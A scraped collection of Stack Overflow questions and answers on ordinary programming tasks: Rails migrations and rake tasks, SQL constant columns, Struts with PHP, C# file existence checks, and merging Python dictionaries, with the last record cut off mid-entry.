"author": "Jordi Bunster",
"author_id": 4272,
"author_profile": "https://Stackoverflow.com/users/4272",
"pm_score": 2,
"selected": true,
"text": "<p>To answer part of your question, here's how you'd run a rake task from inside Rails code:</p>\n\n<pre><code>require 'rake'\nload 'path/to/task.rake'\n\nRake::Task['foo:bar:baz'].invoke\n</code></pre>\n\n<p>Mind you, I have no idea how (or why) you could have one database per user.</p>\n"
},
{
"answer_id": 44484,
"author": "Kevin Kaske",
"author_id": 2737,
"author_profile": "https://Stackoverflow.com/users/2737",
"pm_score": 0,
"selected": false,
"text": "<p>Actually I have discovered a good way to run DB migrations from an application:</p>\n\n<blockquote>\n <p>ActiveRecord::Migrator.migrate(\"db/migrate/\")</p>\n</blockquote>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38922",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2737/"
] | I have a rails application where each user has a separate database. (taking Joel Spolsky's advice on this). I want to run DB migrations from the rails application to create a new database and tables for this user.
What is the easiest way to do this?
Maybe the db migration is not the best for this type of thing. Thanks!
---
It would be nice if it could be a completely automated process. The following process would be ideal.
1. A user signs up on our site to use this web app
2. Migrations are run to create this users database and get tables setup correctly
Is there a way of calling a rake task from a ruby application? | To answer part of your question, here's how you'd run a rake task from inside Rails code:
```
require 'rake'
load 'path/to/task.rake'
Rake::Task['foo:bar:baz'].invoke
```
Mind you, I have no idea how (or why) you could have one database per user. |
38,940 | <p>If I've got a table containing Field1 and Field2 can I generate a new field in the select statement? For example, a normal query would be:</p>
<pre><code>SELECT Field1, Field2 FROM Table
</code></pre>
<p>And I want to also create Field3 and have that returned in the resultset... something along the lines of this would be ideal:</p>
<pre><code>SELECT Field1, Field2, Field3 = 'Value' FROM Table
</code></pre>
<p>Is this possible at all?</p>
| [
{
"answer_id": 38942,
"author": "Josh",
"author_id": 257,
"author_profile": "https://Stackoverflow.com/users/257",
"pm_score": 5,
"selected": true,
"text": "<pre><code>SELECT Field1, Field2, 'Value' Field3 FROM Table\n</code></pre>\n\n<p>or for clarity</p>\n\n<pre><code>SELECT Field1, Field2, 'Value' AS Field3 FROM Table\n</code></pre>\n"
},
{
"answer_id": 38944,
"author": "Whisk",
"author_id": 908,
"author_profile": "https://Stackoverflow.com/users/908",
"pm_score": 3,
"selected": false,
"text": "<p>Yes - it's very possible, in fact you almost had it!\nTry:</p>\n\n<pre><code>SELECT Field1, Field2, 'Value' AS `Field3` FROM Table\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38940",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/393028/"
] | If I've got a table containing Field1 and Field2 can I generate a new field in the select statement? For example, a normal query would be:
```
SELECT Field1, Field2 FROM Table
```
And I want to also create Field3 and have that returned in the resultset... something along the lines of this would be ideal:
```
SELECT Field1, Field2, Field3 = 'Value' FROM Table
```
Is this possible at all? | ```
SELECT Field1, Field2, 'Value' Field3 FROM Table
```
or for clarity
```
SELECT Field1, Field2, 'Value' AS Field3 FROM Table
``` |
38,948 | <p>Can I use <a href="http://struts.apache.org/" rel="nofollow noreferrer">Struts</a> as a backend and PHP as front end for a web application? If yes, what may be the implications.</p>
| [
{
"answer_id": 38972,
"author": "Doug Miller",
"author_id": 3431280,
"author_profile": "https://Stackoverflow.com/users/3431280",
"pm_score": 0,
"selected": false,
"text": "<p>What do you mean by backend and and frontend?</p>\n\n<p>If you mean using Java for the admin side of your site and PHP for the part that the public will see then there is nothing stopping you.</p>\n\n<p>The implications are that you will have to maintain two applications in different languages.</p>\n"
},
{
"answer_id": 39049,
"author": "SCdF",
"author_id": 1666,
"author_profile": "https://Stackoverflow.com/users/1666",
"pm_score": 0,
"selected": false,
"text": "<p>I think what you mean is you want to use PHP as your templating language and structs as your middleware (actions etc).</p>\n\n<p>I would imaging the answer would be no, not without some kind of bridge between the structs session and the PHP.</p>\n\n<p>If you say change x to 3 in java in a structs action, you couldn't just go <?php echo x ?> or whatever to get the value out, you would need to transfer that information back and forth somehow.</p>\n\n<p>Submitting would be OK though, I would imagine.</p>\n\n<p>Not recommended though.</p>\n"
},
{
"answer_id": 40172,
"author": "Jordi Bunster",
"author_id": 4272,
"author_profile": "https://Stackoverflow.com/users/4272",
"pm_score": 1,
"selected": false,
"text": "<p>I don't know much about Java, but I remember running into <a href=\"http://www.caucho.com/resin-3.0/quercus/\" rel=\"nofollow noreferrer\">Quercus</a> a while ago. It's a 100% Java interpreter for PHP code.</p>\n\n<p>So yes, you could have PHP templates on your Java app. <strong>Update</strong>: see <a href=\"http://caucho.com/resin/doc/quercus.xtp\" rel=\"nofollow noreferrer\">Quercus: PHP in Java</a> for more info.</p>\n"
},
{
"answer_id": 43967,
"author": "Sam McAfee",
"author_id": 577,
"author_profile": "https://Stackoverflow.com/users/577",
"pm_score": 2,
"selected": false,
"text": "<p>The first thing to came to mind is <a href=\"http://www.caucho.com/resin-3.0/quercus/\" rel=\"nofollow noreferrer\">Quercus</a> (from the makers of the Resin servlet engine), as Jordi mentioned. It is a Java implementation of the PHP runtime and purportedly allows you to access Java objects directly from your PHP (part of me says \"yay, at last\").</p>\n\n<p>On the other hand, while I have been itching to try a project this way, I would probably keep the separation between Java EE and PHP unless there was a real reason to integrate on the code-level.</p>\n\n<p>Instead, why don't you try an <a href=\"http://en.wikipedia.org/wiki/Service-oriented_architecture\" rel=\"nofollow noreferrer\">SOA</a> approach, where your PHP \"front-end\" calls into the Struts application over a defined REST or SOAP API (strong vote for REST here) over HTTP. </p>\n\n<pre><code>http://mydomain.com/rest/this-is-a-method-call?parameter1=foo\n</code></pre>\n\n<p>You can use Struts to build your entire \"backend\" model, dealing only with business logic and data, and completely ignoring presentation. As you expose the API with these URLs, and you are basically building a REST API (which may come in handy later if you ever need to provide greater access to your backend, perhaps by other client apps).</p>\n\n<p>Your PHP application can be built separately (and rather thinly), calling into the REST API (perhaps using Curl) as if it would call into a database or some native PHP class library.</p>\n\n<p>Anyway, that's what I'd do. But, if you do use Quercus, please post how it went.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38948",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] | Can I use [Struts](http://struts.apache.org/) as a backend and PHP as front end for a web application? If yes, what may be the implications. | The first thing to came to mind is [Quercus](http://www.caucho.com/resin-3.0/quercus/) (from the makers of the Resin servlet engine), as Jordi mentioned. It is a Java implementation of the PHP runtime and purportedly allows you to access Java objects directly from your PHP (part of me says "yay, at last").
On the other hand, while I have been itching to try a project this way, I would probably keep the separation between Java EE and PHP unless there was a real reason to integrate on the code-level.
Instead, why don't you try an [SOA](http://en.wikipedia.org/wiki/Service-oriented_architecture) approach, where your PHP "front-end" calls into the Struts application over a defined REST or SOAP API (strong vote for REST here) over HTTP.
```
http://mydomain.com/rest/this-is-a-method-call?parameter1=foo
```
You can use Struts to build your entire "backend" model, dealing only with business logic and data, and completely ignoring presentation. As you expose the API with these URLs, and you are basically building a REST API (which may come in handy later if you ever need to provide greater access to your backend, perhaps by other client apps).
Your PHP application can be built separately (and rather thinly), calling into the REST API (perhaps using Curl) as if it would call into a database or some native PHP class library.
Anyway, that's what I'd do. But, if you do use Quercus, please post how it went. |
38,960 | <p>I would like to test a string containing a path to a file for existence of that file (something like the <code>-e</code> test in Perl or the <code>os.path.exists()</code> in Python) in C#.</p>
| [
{
"answer_id": 38962,
"author": "Daniel Jennings",
"author_id": 3641,
"author_profile": "https://Stackoverflow.com/users/3641",
"pm_score": 9,
"selected": true,
"text": "<p>Use:</p>\n\n<pre><code>File.Exists(path)\n</code></pre>\n\n<p>MSDN: <a href=\"http://msdn.microsoft.com/en-us/library/system.io.file.exists.aspx\" rel=\"noreferrer\">http://msdn.microsoft.com/en-us/library/system.io.file.exists.aspx</a></p>\n\n<p>Edit: In System.IO</p>\n"
},
{
"answer_id": 38967,
"author": "pirho",
"author_id": 3911,
"author_profile": "https://Stackoverflow.com/users/3911",
"pm_score": 5,
"selected": false,
"text": "<p>System.IO.File.Exists(path)</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/system.io.file.exists.aspx\" rel=\"noreferrer\">msdn</a></p>\n"
},
{
"answer_id": 38971,
"author": "Peter Hoffmann",
"author_id": 720,
"author_profile": "https://Stackoverflow.com/users/720",
"pm_score": 6,
"selected": false,
"text": "<p><a href=\"http://msdn.microsoft.com/en-us/library/system.io.file.exists.aspx\" rel=\"noreferrer\">System.IO.File</a>:</p>\n\n<pre><code>using System.IO;\n\nif (File.Exists(path)) \n{\n Console.WriteLine(\"file exists\");\n} \n</code></pre>\n"
},
{
"answer_id": 22280061,
"author": "shivi",
"author_id": 2412200,
"author_profile": "https://Stackoverflow.com/users/2412200",
"pm_score": 3,
"selected": false,
"text": "<p>Give full path as input. Avoid relative paths.</p>\n\n<pre><code> return File.Exists(FinalPath);\n</code></pre>\n"
},
{
"answer_id": 65721211,
"author": "Jesus Hedo",
"author_id": 10952876,
"author_profile": "https://Stackoverflow.com/users/10952876",
"pm_score": 1,
"selected": false,
"text": "<p>I use WinForms and my way to use File.Exists(string path) is the next one:</p>\n<pre><code>public bool FileExists(string fileName)\n{\n var workingDirectory = Environment.CurrentDirectory;\n var file = $"{workingDirectory}\\{fileName}";\n return File.Exists(file);\n}\n</code></pre>\n<p>fileName <strong>must</strong> include the extension like <code>myfile.txt</code></p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38960",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2260/"
] | I would like to test a string containing a path to a file for existence of that file (something like the `-e` test in Perl or the `os.path.exists()` in Python) in C#. | Use:
```
File.Exists(path)
```
MSDN: <http://msdn.microsoft.com/en-us/library/system.io.file.exists.aspx>
Edit: In System.IO |
38,987 | <p>I want to merge two dictionaries into a new dictionary.</p>
<pre><code>x = {'a': 1, 'b': 2}
y = {'b': 3, 'c': 4}
z = merge(x, y)
>>> z
{'a': 1, 'b': 3, 'c': 4}
</code></pre>
<p>Whenever a key <code>k</code> is present in both dictionaries, only the value <code>y[k]</code> should be kept.</p>
| [
{
"answer_id": 38989,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 7,
"selected": false,
"text": "<pre><code>x = {'a':1, 'b': 2}\ny = {'b':10, 'c': 11}\nz = dict(x.items() + y.items())\nprint z\n</code></pre>\n\n<p>For items with keys in both dictionaries ('b'), you can control which one ends up in the output by putting that one last.</p>\n"
},
{
"answer_id": 38990,
"author": "Thomas Vander Stichele",
"author_id": 2900,
"author_profile": "https://Stackoverflow.com/users/2900",
"pm_score": 11,
"selected": false,
"text": "<p>In your case, you can do:</p>\n<pre class=\"lang-py prettyprint-override\"><code>z = dict(list(x.items()) + list(y.items()))\n</code></pre>\n<p>This will, as you want it, put the final dict in <code>z</code>, and make the value for key <code>b</code> be properly overridden by the second (<code>y</code>) dict's value:</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> x = {'a':1, 'b': 2}\n>>> y = {'b':10, 'c': 11}\n>>> z = dict(list(x.items()) + list(y.items()))\n>>> z\n{'a': 1, 'c': 11, 'b': 10}\n\n</code></pre>\n<p>If you use Python 2, you can even remove the <code>list()</code> calls. To create z:</p>\n<pre class=\"lang-py prettyprint-override\"><code>>>> z = dict(x.items() + y.items())\n>>> z\n{'a': 1, 'c': 11, 'b': 10}\n</code></pre>\n<p>If you use Python version 3.9.0a4 or greater, then you can directly use:</p>\n<pre class=\"lang-py prettyprint-override\"><code>x = {'a':1, 'b': 2}\ny = {'b':10, 'c': 11}\nz = x | y\nprint(z)\n</code></pre>\n<pre class=\"lang-py prettyprint-override\"><code>{'a': 1, 'c': 11, 'b': 10}\n</code></pre>\n"
},
{
"answer_id": 39437,
"author": "Matthew Schinckel",
"author_id": 188,
"author_profile": "https://Stackoverflow.com/users/188",
"pm_score": 10,
"selected": false,
"text": "<p>An alternative:</p>\n\n<pre><code>z = x.copy()\nz.update(y)\n</code></pre>\n"
},
{
"answer_id": 39858,
"author": "Carl Meyer",
"author_id": 3207,
"author_profile": "https://Stackoverflow.com/users/3207",
"pm_score": 9,
"selected": false,
"text": "<p>Another, more concise, option:</p>\n\n<pre><code>z = dict(x, **y)\n</code></pre>\n\n<p><strong>Note</strong>: this has become a popular answer, but it is important to point out that if <code>y</code> has any non-string keys, the fact that this works at all is an abuse of a CPython implementation detail, and it does not work in Python 3, or in PyPy, IronPython, or Jython. Also, <a href=\"http://mail.python.org/pipermail/python-dev/2010-April/099459.html\" rel=\"noreferrer\">Guido is not a fan</a>. So I can't recommend this technique for forward-compatible or cross-implementation portable code, which really means it should be avoided entirely.</p>\n"
},
{
"answer_id": 44512,
"author": "rcreswick",
"author_id": 3446,
"author_profile": "https://Stackoverflow.com/users/3446",
"pm_score": 7,
"selected": false,
"text": "<p>I wanted something similar, but with the ability to specify how the values on duplicate keys were merged, so I hacked this out (but did not heavily test it). Obviously this is not a single expression, but it is a single function call.</p>\n\n<pre><code>def merge(d1, d2, merge_fn=lambda x,y:y):\n \"\"\"\n Merges two dictionaries, non-destructively, combining \n values on duplicate keys as defined by the optional merge\n function. The default behavior replaces the values in d1\n with corresponding values in d2. (There is no other generally\n applicable merge strategy, but often you'll have homogeneous \n types in your dicts, so specifying a merge technique can be \n valuable.)\n\n Examples:\n\n >>> d1\n {'a': 1, 'c': 3, 'b': 2}\n >>> merge(d1, d1)\n {'a': 1, 'c': 3, 'b': 2}\n >>> merge(d1, d1, lambda x,y: x+y)\n {'a': 2, 'c': 6, 'b': 4}\n\n \"\"\"\n result = dict(d1)\n for k,v in d2.iteritems():\n if k in result:\n result[k] = merge_fn(result[k], v)\n else:\n result[k] = v\n return result\n</code></pre>\n"
},
{
"answer_id": 49492,
"author": "Tony Meyer",
"author_id": 4966,
"author_profile": "https://Stackoverflow.com/users/4966",
"pm_score": 8,
"selected": false,
"text": "<p>This probably won't be a popular answer, but you almost certainly do not want to do this. If you want a copy that's a merge, then use copy (or <a href=\"https://docs.python.org/2/library/copy.html\" rel=\"noreferrer\">deepcopy</a>, depending on what you want) and then update. The two lines of code are much more readable - more Pythonic - than the single line creation with .items() + .items(). Explicit is better than implicit.</p>\n\n<p>In addition, when you use .items() (pre Python 3.0), you're creating a new list that contains the items from the dict. If your dictionaries are large, then that is quite a lot of overhead (two large lists that will be thrown away as soon as the merged dict is created). update() can work more efficiently, because it can run through the second dict item-by-item.</p>\n\n<p>In terms of <a href=\"https://docs.python.org/2/library/timeit.html\" rel=\"noreferrer\">time</a>:</p>\n\n<pre><code>>>> timeit.Timer(\"dict(x, **y)\", \"x = dict(zip(range(1000), range(1000)))\\ny=dict(zip(range(1000,2000), range(1000,2000)))\").timeit(100000)\n15.52571702003479\n>>> timeit.Timer(\"temp = x.copy()\\ntemp.update(y)\", \"x = dict(zip(range(1000), range(1000)))\\ny=dict(zip(range(1000,2000), range(1000,2000)))\").timeit(100000)\n15.694622993469238\n>>> timeit.Timer(\"dict(x.items() + y.items())\", \"x = dict(zip(range(1000), range(1000)))\\ny=dict(zip(range(1000,2000), range(1000,2000)))\").timeit(100000)\n41.484580039978027\n</code></pre>\n\n<p>IMO the tiny slowdown between the first two is worth it for the readability. In addition, keyword arguments for dictionary creation was only added in Python 2.3, whereas copy() and update() will work in older versions.</p>\n"
},
{
"answer_id": 228366,
"author": "zaphod",
"author_id": 13871,
"author_profile": "https://Stackoverflow.com/users/13871",
"pm_score": 8,
"selected": false,
"text": "<p>In a follow-up answer, you asked about the relative performance of these two alternatives:</p>\n\n<pre><code>z1 = dict(x.items() + y.items())\nz2 = dict(x, **y)\n</code></pre>\n\n<p>On my machine, at least (a fairly ordinary x86_64 running Python 2.5.2), alternative <code>z2</code> is not only shorter and simpler but also significantly faster. You can verify this for yourself using the <code>timeit</code> module that comes with Python.</p>\n\n<p>Example 1: identical dictionaries mapping 20 consecutive integers to themselves:</p>\n\n<pre><code>% python -m timeit -s 'x=y=dict((i,i) for i in range(20))' 'z1=dict(x.items() + y.items())'\n100000 loops, best of 3: 5.67 usec per loop\n% python -m timeit -s 'x=y=dict((i,i) for i in range(20))' 'z2=dict(x, **y)' \n100000 loops, best of 3: 1.53 usec per loop\n</code></pre>\n\n<p><code>z2</code> wins by a factor of 3.5 or so. Different dictionaries seem to yield quite different results, but <code>z2</code> always seems to come out ahead. (If you get inconsistent results for the <em>same</em> test, try passing in <code>-r</code> with a number larger than the default 3.)</p>\n\n<p>Example 2: non-overlapping dictionaries mapping 252 short strings to integers and vice versa:</p>\n\n<pre><code>% python -m timeit -s 'from htmlentitydefs import codepoint2name as x, name2codepoint as y' 'z1=dict(x.items() + y.items())'\n1000 loops, best of 3: 260 usec per loop\n% python -m timeit -s 'from htmlentitydefs import codepoint2name as x, name2codepoint as y' 'z2=dict(x, **y)' \n10000 loops, best of 3: 26.9 usec per loop\n</code></pre>\n\n<p><code>z2</code> wins by about a factor of 10. That's a pretty big win in my book!</p>\n\n<p>After comparing those two, I wondered if <code>z1</code>'s poor performance could be attributed to the overhead of constructing the two item lists, which in turn led me to wonder if this variation might work better:</p>\n\n<pre><code>from itertools import chain\nz3 = dict(chain(x.iteritems(), y.iteritems()))\n</code></pre>\n\n<p>A few quick tests, e.g.</p>\n\n<pre><code>% python -m timeit -s 'from itertools import chain; from htmlentitydefs import codepoint2name as x, name2codepoint as y' 'z3=dict(chain(x.iteritems(), y.iteritems()))'\n10000 loops, best of 3: 66 usec per loop\n</code></pre>\n\n<p>lead me to conclude that <code>z3</code> is somewhat faster than <code>z1</code>, but not nearly as fast as <code>z2</code>. Definitely not worth all the extra typing.</p>\n\n<p>This discussion is still missing something important, which is a performance comparison of these alternatives with the \"obvious\" way of merging two lists: using the <code>update</code> method. To try to keep things on an equal footing with the expressions, none of which modify x or y, I'm going to make a copy of x instead of modifying it in-place, as follows:</p>\n\n<pre><code>z0 = dict(x)\nz0.update(y)\n</code></pre>\n\n<p>A typical result:</p>\n\n<pre><code>% python -m timeit -s 'from htmlentitydefs import codepoint2name as x, name2codepoint as y' 'z0=dict(x); z0.update(y)'\n10000 loops, best of 3: 26.9 usec per loop\n</code></pre>\n\n<p>In other words, <code>z0</code> and <code>z2</code> seem to have essentially identical performance. Do you think this might be a coincidence? I don't....</p>\n\n<p>In fact, I'd go so far as to claim that it's impossible for pure Python code to do any better than this. And if you can do significantly better in a C extension module, I imagine the Python folks might well be interested in incorporating your code (or a variation on your approach) into the Python core. Python uses <code>dict</code> in lots of places; optimizing its operations is a big deal.</p>\n\n<p>You could also write this as</p>\n\n<pre><code>z0 = x.copy()\nz0.update(y)\n</code></pre>\n\n<p>as Tony does, but (not surprisingly) the difference in notation turns out not to have any measurable effect on performance. Use whichever looks right to you. Of course, he's absolutely correct to point out that the two-statement version is much easier to understand.</p>\n"
},
{
"answer_id": 3936548,
"author": "driax",
"author_id": 72476,
"author_profile": "https://Stackoverflow.com/users/72476",
"pm_score": 7,
"selected": false,
"text": "<p>The best version I could think while not using copy would be:</p>\n\n<pre><code>from itertools import chain\nx = {'a':1, 'b': 2}\ny = {'b':10, 'c': 11}\ndict(chain(x.iteritems(), y.iteritems()))\n</code></pre>\n\n<p>It's faster than <code>dict(x.items() + y.items())</code> but not as fast as <code>n = copy(a); n.update(b)</code>, at least on CPython. This version also works in Python 3 if you change <code>iteritems()</code> to <code>items()</code>, which is automatically done by the 2to3 tool.</p>\n\n<p>Personally I like this version best because it describes fairly good what I want in a single functional syntax. The only minor problem is that it doesn't make completely obvious that values from y takes precedence over values from x, but I don't believe it's difficult to figure that out.</p>\n"
},
{
"answer_id": 7770473,
"author": "phobie",
"author_id": 509648,
"author_profile": "https://Stackoverflow.com/users/509648",
"pm_score": 6,
"selected": false,
"text": "<p>While the question has already been answered several times,\nthis simple solution to the problem has not been listed yet.</p>\n\n<pre><code>x = {'a':1, 'b': 2}\ny = {'b':10, 'c': 11}\nz4 = {}\nz4.update(x)\nz4.update(y)\n</code></pre>\n\n<p>It is as fast as z0 and the evil z2 mentioned above, but easy to understand and change.</p>\n"
},
{
"answer_id": 8247023,
"author": "EMS",
"author_id": 364984,
"author_profile": "https://Stackoverflow.com/users/364984",
"pm_score": 6,
"selected": false,
"text": "<p>If you think lambdas are evil then read no further.\nAs requested, you can write the fast and memory-efficient solution with one expression:</p>\n\n<pre><code>x = {'a':1, 'b':2}\ny = {'b':10, 'c':11}\nz = (lambda a, b: (lambda a_copy: a_copy.update(b) or a_copy)(a.copy()))(x, y)\nprint z\n{'a': 1, 'c': 11, 'b': 10}\nprint x\n{'a': 1, 'b': 2}\n</code></pre>\n\n<p>As suggested above, using two lines or writing a function is probably a better way to go.</p>\n"
},
{
"answer_id": 8310229,
"author": "Stan",
"author_id": 471393,
"author_profile": "https://Stackoverflow.com/users/471393",
"pm_score": 7,
"selected": false,
"text": "<h1>Recursively/deep update a dict</h1>\n\n<pre><code>def deepupdate(original, update):\n \"\"\"\n Recursively update a dict.\n Subdict's won't be overwritten but also updated.\n \"\"\"\n for key, value in original.iteritems(): \n if key not in update:\n update[key] = value\n elif isinstance(value, dict):\n deepupdate(value, update[key]) \n return update</code></pre>\n\n<p>Demonstration:</p>\n\n<pre><code>pluto_original = {\n 'name': 'Pluto',\n 'details': {\n 'tail': True,\n 'color': 'orange'\n }\n}\n\npluto_update = {\n 'name': 'Pluutoo',\n 'details': {\n 'color': 'blue'\n }\n}\n\nprint deepupdate(pluto_original, pluto_update)</code></pre>\n\n<p>Outputs:</p>\n\n<pre><code>{\n 'name': 'Pluutoo',\n 'details': {\n 'color': 'blue',\n 'tail': True\n }\n}</code></pre>\n\n<p>Thanks rednaw for edits.</p>\n"
},
{
"answer_id": 11825563,
"author": "Sam Watkins",
"author_id": 218294,
"author_profile": "https://Stackoverflow.com/users/218294",
"pm_score": 6,
"selected": false,
"text": "<pre><code>def dict_merge(a, b):\n c = a.copy()\n c.update(b)\n return c\n\nnew = dict_merge(old, extras)\n</code></pre>\n\n<p>Among such shady and dubious answers, this shining example is the one and only good way to merge dicts in Python, endorsed by dictator for life <em>Guido van Rossum</em> himself! Someone else suggested half of this, but did not put it in a function.</p>\n\n<pre><code>print dict_merge(\n {'color':'red', 'model':'Mini'},\n {'model':'Ferrari', 'owner':'Carl'})\n</code></pre>\n\n<p>gives:</p>\n\n<pre><code>{'color': 'red', 'owner': 'Carl', 'model': 'Ferrari'}\n</code></pre>\n"
},
{
"answer_id": 12926103,
"author": "Mathieu Larose",
"author_id": 122894,
"author_profile": "https://Stackoverflow.com/users/122894",
"pm_score": 5,
"selected": false,
"text": "<p><strong>Two dictionaries</strong></p>\n\n<pre><code>def union2(dict1, dict2):\n return dict(list(dict1.items()) + list(dict2.items()))\n</code></pre>\n\n<p><strong><em>n</em> dictionaries</strong></p>\n\n<pre><code>def union(*dicts):\n return dict(itertools.chain.from_iterable(dct.items() for dct in dicts))\n</code></pre>\n\n<p><code>sum</code> has bad performance. See <a href=\"https://mathieularose.com/how-not-to-flatten-a-list-of-lists-in-python/\" rel=\"noreferrer\">https://mathieularose.com/how-not-to-flatten-a-list-of-lists-in-python/</a></p>\n"
},
{
"answer_id": 16259217,
"author": "Raymond Hettinger",
"author_id": 424499,
"author_profile": "https://Stackoverflow.com/users/424499",
"pm_score": 8,
"selected": false,
"text": "<p><strong>In Python 3.0 and later</strong>, you can use <a href=\"http://docs.python.org/3/library/collections.html#collections.ChainMap\" rel=\"noreferrer\"><code>collections.ChainMap</code></a> which groups multiple dicts or other mappings together to create a single, updateable view:</p>\n<pre><code>>>> from collections import ChainMap\n>>> x = {'a':1, 'b': 2}\n>>> y = {'b':10, 'c': 11}\n>>> z = dict(ChainMap({}, y, x))\n>>> for k, v in z.items():\n print(k, '-->', v)\n \na --> 1\nb --> 10\nc --> 11\n</code></pre>\n<p><strong>Update for Python 3.5 and later</strong>: You can use <a href=\"https://www.python.org/dev/peps/pep-0448/\" rel=\"noreferrer\">PEP 448</a> extended dictionary packing and unpacking. This is fast and easy:</p>\n<pre><code>>>> x = {'a':1, 'b': 2}\n>>> y = {'b':10, 'c': 11}\n>>> {**x, **y}\n{'a': 1, 'b': 10, 'c': 11}\n</code></pre>\n<p><strong>Update for Python 3.9 and later</strong>: You can use the <a href=\"https://www.python.org/dev/peps/pep-0584/\" rel=\"noreferrer\">PEP 584</a> union operator:</p>\n<pre><code>>>> x = {'a':1, 'b': 2}\n>>> y = {'b':10, 'c': 11}\n>>> x | y\n{'a': 1, 'b': 10, 'c': 11}\n</code></pre>\n"
},
{
"answer_id": 16769722,
"author": "kiriloff",
"author_id": 1141493,
"author_profile": "https://Stackoverflow.com/users/1141493",
"pm_score": 3,
"selected": false,
"text": "<p>Using a dict comprehension, you may</p>\n\n<pre><code>x = {'a':1, 'b': 2}\ny = {'b':10, 'c': 11}\n\ndc = {xi:(x[xi] if xi not in list(y.keys()) \n else y[xi]) for xi in list(x.keys())+(list(y.keys()))}\n</code></pre>\n\n<p>gives</p>\n\n<pre><code>>>> dc\n{'a': 1, 'c': 11, 'b': 10}\n</code></pre>\n\n<p>Note the syntax for <code>if else</code> in comprehension </p>\n\n<pre><code>{ (some_key if condition else default_key):(something_if_true if condition \n else something_if_false) for key, value in dict_.items() }\n</code></pre>\n"
},
{
"answer_id": 17738920,
"author": "Bijou Trouvaille",
"author_id": 375570,
"author_profile": "https://Stackoverflow.com/users/375570",
"pm_score": 4,
"selected": false,
"text": "<p>Drawing on ideas here and elsewhere I've comprehended a function:</p>\n\n<pre><code>def merge(*dicts, **kv): \n return { k:v for d in list(dicts) + [kv] for k,v in d.items() }\n</code></pre>\n\n<p>Usage (tested in python 3):</p>\n\n<pre><code>assert (merge({1:11,'a':'aaa'},{1:99, 'b':'bbb'},foo='bar')==\\\n {1: 99, 'foo': 'bar', 'b': 'bbb', 'a': 'aaa'})\n\nassert (merge(foo='bar')=={'foo': 'bar'})\n\nassert (merge({1:11},{1:99},foo='bar',baz='quux')==\\\n {1: 99, 'foo': 'bar', 'baz':'quux'})\n\nassert (merge({1:11},{1:99})=={1: 99})\n</code></pre>\n\n<p>You could use a lambda instead.</p>\n"
},
{
"answer_id": 18114065,
"author": "Claudiu",
"author_id": 15055,
"author_profile": "https://Stackoverflow.com/users/15055",
"pm_score": 5,
"selected": false,
"text": "<p>Abuse leading to a one-expression solution for <a href=\"https://stackoverflow.com/a/39437/15055\">Matthew's answer</a>:</p>\n\n<pre><code>>>> x = {'a':1, 'b': 2}\n>>> y = {'b':10, 'c': 11}\n>>> z = (lambda f=x.copy(): (f.update(y), f)[1])()\n>>> z\n{'a': 1, 'c': 11, 'b': 10}\n</code></pre>\n\n<p>You said you wanted one expression, so I abused <code>lambda</code> to bind a name, and tuples to override lambda's one-expression limit. Feel free to cringe.</p>\n\n<p>You could also do this of course if you don't care about copying it:</p>\n\n<pre><code>>>> x = {'a':1, 'b': 2}\n>>> y = {'b':10, 'c': 11}\n>>> z = (x.update(y), x)[1]\n>>> z\n{'a': 1, 'b': 10, 'c': 11}\n</code></pre>\n"
},
{
"answer_id": 19279501,
"author": "beardc",
"author_id": 386279,
"author_profile": "https://Stackoverflow.com/users/386279",
"pm_score": 6,
"selected": false,
"text": "<p>In python3, the <code>items</code> method <a href=\"http://docs.python.org/dev/whatsnew/3.0.html#views-and-iterators-instead-of-lists\" rel=\"noreferrer\">no longer returns a list</a>, but rather a <em>view</em>, which acts like a set. In this case you'll need to take the set union since concatenating with <code>+</code> won't work:</p>\n\n<pre><code>dict(x.items() | y.items())\n</code></pre>\n\n<p>For python3-like behavior in version 2.7, the <code>viewitems</code> method should work in place of <code>items</code>:</p>\n\n<pre><code>dict(x.viewitems() | y.viewitems())\n</code></pre>\n\n<p>I prefer this notation anyways since it seems more natural to think of it as a set union operation rather than concatenation (as the title shows).</p>\n\n<p><strong>Edit:</strong></p>\n\n<p>A couple more points for python 3. First, note that the <code>dict(x, **y)</code> trick won't work in python 3 unless the keys in <code>y</code> are strings.</p>\n\n<p>Also, Raymond Hettinger's Chainmap <a href=\"https://stackoverflow.com/a/16259217/386279\">answer</a> is pretty elegant, since it can take an arbitrary number of dicts as arguments, but <a href=\"http://docs.python.org/dev/library/collections\" rel=\"noreferrer\">from the docs</a> it looks like it sequentially looks through a list of all the dicts for each lookup:</p>\n\n<blockquote>\n <p>Lookups search the underlying mappings successively until a key is found.</p>\n</blockquote>\n\n<p>This can slow you down if you have a lot of lookups in your application:</p>\n\n<pre><code>In [1]: from collections import ChainMap\nIn [2]: from string import ascii_uppercase as up, ascii_lowercase as lo; x = dict(zip(lo, up)); y = dict(zip(up, lo))\nIn [3]: chainmap_dict = ChainMap(y, x)\nIn [4]: union_dict = dict(x.items() | y.items())\nIn [5]: timeit for k in union_dict: union_dict[k]\n100000 loops, best of 3: 2.15 µs per loop\nIn [6]: timeit for k in chainmap_dict: chainmap_dict[k]\n10000 loops, best of 3: 27.1 µs per loop\n</code></pre>\n\n<p>So about an order of magnitude slower for lookups. I'm a fan of Chainmap, but looks less practical where there may be many lookups.</p>\n"
},
{
"answer_id": 19950727,
"author": "John La Rooy",
"author_id": 174728,
"author_profile": "https://Stackoverflow.com/users/174728",
"pm_score": 4,
"selected": false,
"text": "<pre><code>>>> x = {'a':1, 'b': 2}\n>>> y = {'b':10, 'c': 11}\n>>> x, z = dict(x), x.update(y) or x\n>>> x\n{'a': 1, 'b': 2}\n>>> y\n{'c': 11, 'b': 10}\n>>> z\n{'a': 1, 'c': 11, 'b': 10}\n</code></pre>\n"
},
{
"answer_id": 20358548,
"author": "upandacross",
"author_id": 3062691,
"author_profile": "https://Stackoverflow.com/users/3062691",
"pm_score": 4,
"selected": false,
